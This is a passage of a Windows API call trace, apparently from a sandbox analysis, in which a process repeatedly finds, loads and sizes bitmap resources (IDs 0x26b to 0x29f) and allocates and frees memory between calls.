hResInfo=0x472f28) returned 0x4752bc [0066.393] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.394] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.394] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.394] FindResourceW (hModule=0x400000, lpName=0x26b, lpType=0x2) returned 0x472f38 [0066.394] SizeofResource (hModule=0x400000, hResInfo=0x472f38) returned 0x529 [0066.394] LoadResource (hModule=0x400000, hResInfo=0x472f38) returned 0x4757e8 [0066.394] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.394] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.394] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.394] FindResourceW (hModule=0x400000, lpName=0x26c, lpType=0x2) returned 0x472f48 [0066.394] SizeofResource (hModule=0x400000, hResInfo=0x472f48) returned 0x529 [0066.394] LoadResource (hModule=0x400000, hResInfo=0x472f48) returned 0x475d14 [0066.394] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.395] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.395] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.395] FindResourceW (hModule=0x400000, lpName=0x26d, lpType=0x2) returned 0x472f58 [0066.395] SizeofResource (hModule=0x400000, hResInfo=0x472f58) returned 0x529 [0066.395] LoadResource (hModule=0x400000, hResInfo=0x472f58) returned 0x476240 [0066.395] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.395] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.396] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.396] FindResourceW (hModule=0x400000, lpName=0x26e, lpType=0x2) returned 0x472f68 [0066.396] SizeofResource (hModule=0x400000, hResInfo=0x472f68) returned 0x529 [0066.396] LoadResource (hModule=0x400000, hResInfo=0x472f68) returned 0x47676c [0066.396] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.396] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.396] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.396] FindResourceW (hModule=0x400000, lpName=0x26f, lpType=0x2) returned 0x472f78 [0066.396] SizeofResource (hModule=0x400000, hResInfo=0x472f78) returned 0x529 [0066.396] LoadResource (hModule=0x400000, hResInfo=0x472f78) returned 0x476c98 [0066.396] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.397] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.397] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.397] FindResourceW (hModule=0x400000, lpName=0x270, lpType=0x2) returned 0x472f88 [0066.397] SizeofResource (hModule=0x400000, hResInfo=0x472f88) returned 0x529 [0066.397] LoadResource (hModule=0x400000, hResInfo=0x472f88) returned 0x4771c4 [0066.397] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.397] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.397] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.397] FindResourceW (hModule=0x400000, lpName=0x271, lpType=0x2) returned 0x472f98 [0066.397] SizeofResource (hModule=0x400000, hResInfo=0x472f98) returned 0x529 [0066.397] LoadResource (hModule=0x400000, hResInfo=0x472f98) returned 0x4776f0 [0066.397] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.397] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.397] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.397] FindResourceW (hModule=0x400000, lpName=0x272, lpType=0x2) returned 0x472fa8 [0066.397] SizeofResource (hModule=0x400000, hResInfo=0x472fa8) returned 0x529 [0066.398] LoadResource (hModule=0x400000, hResInfo=0x472fa8) returned 0x477c1c [0066.398] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.398] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.398] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.398] FindResourceW (hModule=0x400000, lpName=0x273, lpType=0x2) returned 0x472fb8 [0066.398] SizeofResource (hModule=0x400000, hResInfo=0x472fb8) returned 0x529 [0066.398] LoadResource (hModule=0x400000, hResInfo=0x472fb8) returned 0x478148 [0066.398] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.398] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.398] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.398] FindResourceW (hModule=0x400000, lpName=0x274, lpType=0x2) returned 0x472fc8 [0066.398] SizeofResource (hModule=0x400000, hResInfo=0x472fc8) returned 0x529 [0066.398] LoadResource (hModule=0x400000, hResInfo=0x472fc8) returned 0x478674 [0066.399] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.399] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.399] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.399] FindResourceW (hModule=0x400000, lpName=0x275, lpType=0x2) returned 0x472fd8 [0066.399] SizeofResource (hModule=0x400000, hResInfo=0x472fd8) returned 0x529 [0066.399] LoadResource (hModule=0x400000, hResInfo=0x472fd8) returned 0x478ba0 [0066.399] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.399] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.399] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.399] FindResourceW (hModule=0x400000, lpName=0x276, lpType=0x2) returned 0x472fe8 [0066.399] SizeofResource (hModule=0x400000, hResInfo=0x472fe8) returned 0x529 [0066.399] LoadResource (hModule=0x400000, hResInfo=0x472fe8) returned 0x4790cc [0066.399] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.400] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.400] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.400] FindResourceW (hModule=0x400000, lpName=0x277, lpType=0x2) returned 0x472ff8 [0066.400] SizeofResource (hModule=0x400000, hResInfo=0x472ff8) returned 0x529 [0066.400] LoadResource (hModule=0x400000, hResInfo=0x472ff8) returned 0x4795f8 [0066.400] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.400] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.400] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.400] FindResourceW (hModule=0x400000, lpName=0x278, lpType=0x2) returned 0x473008 [0066.400] SizeofResource (hModule=0x400000, hResInfo=0x473008) returned 0x529 [0066.400] LoadResource (hModule=0x400000, hResInfo=0x473008) returned 0x479b24 [0066.400] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.401] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.401] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.401] FindResourceW (hModule=0x400000, lpName=0x279, lpType=0x2) returned 0x473018 [0066.401] SizeofResource (hModule=0x400000, hResInfo=0x473018) returned 0x529 [0066.401] LoadResource (hModule=0x400000, hResInfo=0x473018) returned 0x47a050 [0066.401] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.401] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.401] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.401] FindResourceW (hModule=0x400000, lpName=0x27a, lpType=0x2) returned 0x473028 [0066.401] SizeofResource (hModule=0x400000, hResInfo=0x473028) returned 0x529 [0066.401] LoadResource (hModule=0x400000, hResInfo=0x473028) returned 0x47a57c [0066.401] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.401] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.401] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.401] FindResourceW (hModule=0x400000, lpName=0x27b, lpType=0x2) returned 0x473038 [0066.402] SizeofResource (hModule=0x400000, hResInfo=0x473038) returned 0x529 [0066.402] LoadResource (hModule=0x400000, hResInfo=0x473038) returned 0x47aaa8 [0066.402] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.402] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.402] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.402] FindResourceW (hModule=0x400000, lpName=0x27c, lpType=0x2) returned 0x473048 [0066.402] SizeofResource (hModule=0x400000, hResInfo=0x473048) returned 0x529 [0066.402] LoadResource (hModule=0x400000, hResInfo=0x473048) returned 0x47afd4 [0066.402] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.402] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.402] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.402] FindResourceW (hModule=0x400000, lpName=0x27d, lpType=0x2) returned 0x473058 [0066.402] SizeofResource (hModule=0x400000, hResInfo=0x473058) returned 0x529 [0066.402] LoadResource (hModule=0x400000, hResInfo=0x473058) returned 0x47b500 [0066.403] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.403] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.403] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.403] FindResourceW (hModule=0x400000, lpName=0x27e, lpType=0x2) returned 0x473068 [0066.403] SizeofResource (hModule=0x400000, hResInfo=0x473068) returned 0x529 [0066.403] LoadResource (hModule=0x400000, hResInfo=0x473068) returned 0x47ba2c [0066.403] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.403] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.403] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.403] FindResourceW (hModule=0x400000, lpName=0x27f, lpType=0x2) returned 0x473078 [0066.403] SizeofResource (hModule=0x400000, hResInfo=0x473078) returned 0x529 [0066.403] LoadResource (hModule=0x400000, hResInfo=0x473078) returned 0x47bf58 [0066.403] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.404] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.404] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.404] FindResourceW (hModule=0x400000, lpName=0x280, lpType=0x2) returned 0x473088 [0066.404] SizeofResource (hModule=0x400000, hResInfo=0x473088) returned 0x529 [0066.404] LoadResource (hModule=0x400000, hResInfo=0x473088) returned 0x47c484 [0066.404] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.404] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.404] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.404] FindResourceW (hModule=0x400000, lpName=0x281, lpType=0x2) returned 0x473098 [0066.404] SizeofResource (hModule=0x400000, hResInfo=0x473098) returned 0x529 [0066.404] LoadResource (hModule=0x400000, hResInfo=0x473098) returned 0x47c9b0 [0066.404] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.404] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.405] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.405] FindResourceW (hModule=0x400000, lpName=0x282, lpType=0x2) returned 0x4730a8 [0066.405] SizeofResource (hModule=0x400000, hResInfo=0x4730a8) returned 0x529 [0066.405] LoadResource (hModule=0x400000, hResInfo=0x4730a8) returned 0x47cedc [0066.405] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.405] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.405] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.405] FindResourceW (hModule=0x400000, lpName=0x283, lpType=0x2) returned 0x4730b8 [0066.405] SizeofResource (hModule=0x400000, hResInfo=0x4730b8) returned 0x529 [0066.405] LoadResource (hModule=0x400000, hResInfo=0x4730b8) returned 0x47d408 [0066.405] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.405] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.406] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.406] FindResourceW (hModule=0x400000, lpName=0x284, lpType=0x2) returned 0x4730c8 [0066.406] SizeofResource (hModule=0x400000, hResInfo=0x4730c8) returned 0x529 [0066.406] LoadResource (hModule=0x400000, hResInfo=0x4730c8) returned 0x47d934 [0066.406] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.406] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.406] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.406] FindResourceW (hModule=0x400000, lpName=0x285, lpType=0x2) returned 0x4730d8 [0066.406] SizeofResource (hModule=0x400000, hResInfo=0x4730d8) returned 0x529 [0066.406] LoadResource (hModule=0x400000, hResInfo=0x4730d8) returned 0x47de60 [0066.406] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.406] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.407] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.407] FindResourceW (hModule=0x400000, lpName=0x286, lpType=0x2) returned 0x4730e8 [0066.407] SizeofResource (hModule=0x400000, hResInfo=0x4730e8) returned 0x529 [0066.407] LoadResource (hModule=0x400000, hResInfo=0x4730e8) returned 0x47e38c [0066.407] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.407] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.407] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.407] FindResourceW (hModule=0x400000, lpName=0x287, lpType=0x2) returned 0x4730f8 [0066.407] SizeofResource (hModule=0x400000, hResInfo=0x4730f8) returned 0x529 [0066.407] LoadResource (hModule=0x400000, hResInfo=0x4730f8) returned 0x47e8b8 [0066.407] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.407] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.407] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.407] FindResourceW (hModule=0x400000, lpName=0x288, lpType=0x2) returned 0x473108 [0066.407] SizeofResource (hModule=0x400000, hResInfo=0x473108) returned 0x529 [0066.407] LoadResource (hModule=0x400000, hResInfo=0x473108) returned 0x47ede4 [0066.407] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.408] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.408] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.408] FindResourceW (hModule=0x400000, lpName=0x289, lpType=0x2) returned 0x473118 [0066.408] SizeofResource (hModule=0x400000, hResInfo=0x473118) returned 0x529 [0066.408] LoadResource (hModule=0x400000, hResInfo=0x473118) returned 0x47f310 [0066.408] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.408] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.408] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.408] FindResourceW (hModule=0x400000, lpName=0x28a, lpType=0x2) returned 0x473128 [0066.408] SizeofResource (hModule=0x400000, hResInfo=0x473128) returned 0x529 [0066.408] LoadResource (hModule=0x400000, hResInfo=0x473128) returned 0x47f83c [0066.408] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.409] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.409] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.409] FindResourceW (hModule=0x400000, lpName=0x28b, lpType=0x2) returned 0x473138 [0066.409] SizeofResource (hModule=0x400000, hResInfo=0x473138) returned 0x529 [0066.409] LoadResource (hModule=0x400000, hResInfo=0x473138) returned 0x47fd68 [0066.409] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.409] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.409] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.409] FindResourceW (hModule=0x400000, lpName=0x28c, lpType=0x2) returned 0x473148 [0066.409] SizeofResource (hModule=0x400000, hResInfo=0x473148) returned 0x529 [0066.409] LoadResource (hModule=0x400000, hResInfo=0x473148) returned 0x480294 [0066.409] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.410] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.410] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.410] FindResourceW (hModule=0x400000, lpName=0x28d, lpType=0x2) returned 0x473158 [0066.410] SizeofResource (hModule=0x400000, hResInfo=0x473158) returned 0x529 [0066.410] LoadResource (hModule=0x400000, hResInfo=0x473158) returned 0x4807c0 [0066.410] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.410] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.410] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.410] FindResourceW (hModule=0x400000, lpName=0x28e, lpType=0x2) returned 0x473168 [0066.410] SizeofResource (hModule=0x400000, hResInfo=0x473168) returned 0x529 [0066.410] LoadResource (hModule=0x400000, hResInfo=0x473168) returned 0x480cec [0066.410] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.411] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.411] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.411] FindResourceW (hModule=0x400000, lpName=0x28f, lpType=0x2) returned 0x473178 [0066.411] SizeofResource (hModule=0x400000, hResInfo=0x473178) returned 0x529 [0066.411] LoadResource (hModule=0x400000, hResInfo=0x473178) returned 0x481218 [0066.411] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.411] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.411] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.411] FindResourceW (hModule=0x400000, lpName=0x290, lpType=0x2) returned 0x473188 [0066.411] SizeofResource (hModule=0x400000, hResInfo=0x473188) returned 0x529 [0066.411] LoadResource (hModule=0x400000, hResInfo=0x473188) returned 0x481744 [0066.411] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.411] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.412] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.412] FindResourceW (hModule=0x400000, lpName=0x291, lpType=0x2) returned 0x473198 [0066.412] SizeofResource (hModule=0x400000, hResInfo=0x473198) returned 0x529 [0066.412] LoadResource (hModule=0x400000, hResInfo=0x473198) returned 0x481c70 [0066.412] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.412] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.412] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.412] FindResourceW (hModule=0x400000, lpName=0x292, lpType=0x2) returned 0x4731a8 [0066.412] SizeofResource (hModule=0x400000, hResInfo=0x4731a8) returned 0x529 [0066.412] LoadResource (hModule=0x400000, hResInfo=0x4731a8) returned 0x48219c [0066.412] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.412] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.412] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.412] FindResourceW (hModule=0x400000, lpName=0x293, lpType=0x2) returned 0x4731b8 [0066.413] SizeofResource (hModule=0x400000, hResInfo=0x4731b8) returned 0x529 [0066.413] LoadResource (hModule=0x400000, hResInfo=0x4731b8) returned 0x4826c8 [0066.413] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.413] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.413] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.413] FindResourceW (hModule=0x400000, lpName=0x294, lpType=0x2) returned 0x4731c8 [0066.413] SizeofResource (hModule=0x400000, hResInfo=0x4731c8) returned 0x529 [0066.413] LoadResource (hModule=0x400000, hResInfo=0x4731c8) returned 0x482bf4 [0066.413] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.413] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.413] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.413] FindResourceW (hModule=0x400000, lpName=0x295, lpType=0x2) returned 0x4731d8 [0066.413] SizeofResource (hModule=0x400000, hResInfo=0x4731d8) returned 0x529 [0066.414] LoadResource (hModule=0x400000, hResInfo=0x4731d8) returned 0x483120 [0066.414] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.414] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.414] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.414] FindResourceW (hModule=0x400000, lpName=0x296, lpType=0x2) returned 0x4731e8 [0066.414] SizeofResource (hModule=0x400000, hResInfo=0x4731e8) returned 0x529 [0066.414] LoadResource (hModule=0x400000, hResInfo=0x4731e8) returned 0x48364c [0066.414] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.414] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.414] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.414] FindResourceW (hModule=0x400000, lpName=0x297, lpType=0x2) returned 0x4731f8 [0066.414] SizeofResource (hModule=0x400000, hResInfo=0x4731f8) returned 0x529 [0066.414] LoadResource (hModule=0x400000, hResInfo=0x4731f8) returned 0x483b78 [0066.414] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.415] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.415] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.415] FindResourceW (hModule=0x400000, lpName=0x298, lpType=0x2) returned 0x473208 [0066.415] SizeofResource (hModule=0x400000, hResInfo=0x473208) returned 0x529 [0066.415] LoadResource (hModule=0x400000, hResInfo=0x473208) returned 0x4840a4 [0066.415] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.415] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.415] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.415] FindResourceW (hModule=0x400000, lpName=0x299, lpType=0x2) returned 0x473218 [0066.415] SizeofResource (hModule=0x400000, hResInfo=0x473218) returned 0x529 [0066.415] LoadResource (hModule=0x400000, hResInfo=0x473218) returned 0x4845d0 [0066.415] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.415] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.416] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.416] FindResourceW (hModule=0x400000, lpName=0x29a, lpType=0x2) returned 0x473228 [0066.416] SizeofResource (hModule=0x400000, hResInfo=0x473228) returned 0x529 [0066.416] LoadResource (hModule=0x400000, hResInfo=0x473228) returned 0x484afc [0066.416] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.416] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.416] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.416] FindResourceW (hModule=0x400000, lpName=0x29b, lpType=0x2) returned 0x473238 [0066.416] SizeofResource (hModule=0x400000, hResInfo=0x473238) returned 0x529 [0066.416] LoadResource (hModule=0x400000, hResInfo=0x473238) returned 0x485028 [0066.416] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.416] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.416] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.417] FindResourceW (hModule=0x400000, lpName=0x29c, lpType=0x2) returned 0x473248 [0066.417] SizeofResource (hModule=0x400000, hResInfo=0x473248) returned 0x529 [0066.417] LoadResource (hModule=0x400000, hResInfo=0x473248) returned 0x485554 [0066.417] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.417] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.417] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.417] FindResourceW (hModule=0x400000, lpName=0x29d, lpType=0x2) returned 0x473258 [0066.417] SizeofResource (hModule=0x400000, hResInfo=0x473258) returned 0x529 [0066.417] LoadResource (hModule=0x400000, hResInfo=0x473258) returned 0x485a80 [0066.417] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.417] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.417] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.417] FindResourceW (hModule=0x400000, lpName=0x29e, lpType=0x2) returned 0x473268 [0066.417] SizeofResource (hModule=0x400000, hResInfo=0x473268) returned 0x529 [0066.417] LoadResource (hModule=0x400000, hResInfo=0x473268) returned 0x485fac [0066.417] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.418] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.418] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.418] FindResourceW (hModule=0x400000, lpName=0x29f, lpType=0x2) returned 0x473278 [0066.418] SizeofResource (hModule=0x400000, hResInfo=0x473278) returned 0x529 [0066.418] LoadResource (hModule=0x400000, hResInfo=0x473278) returned 0x4864d8 [0066.418] VirtualAlloc (lpAddress=0x0, 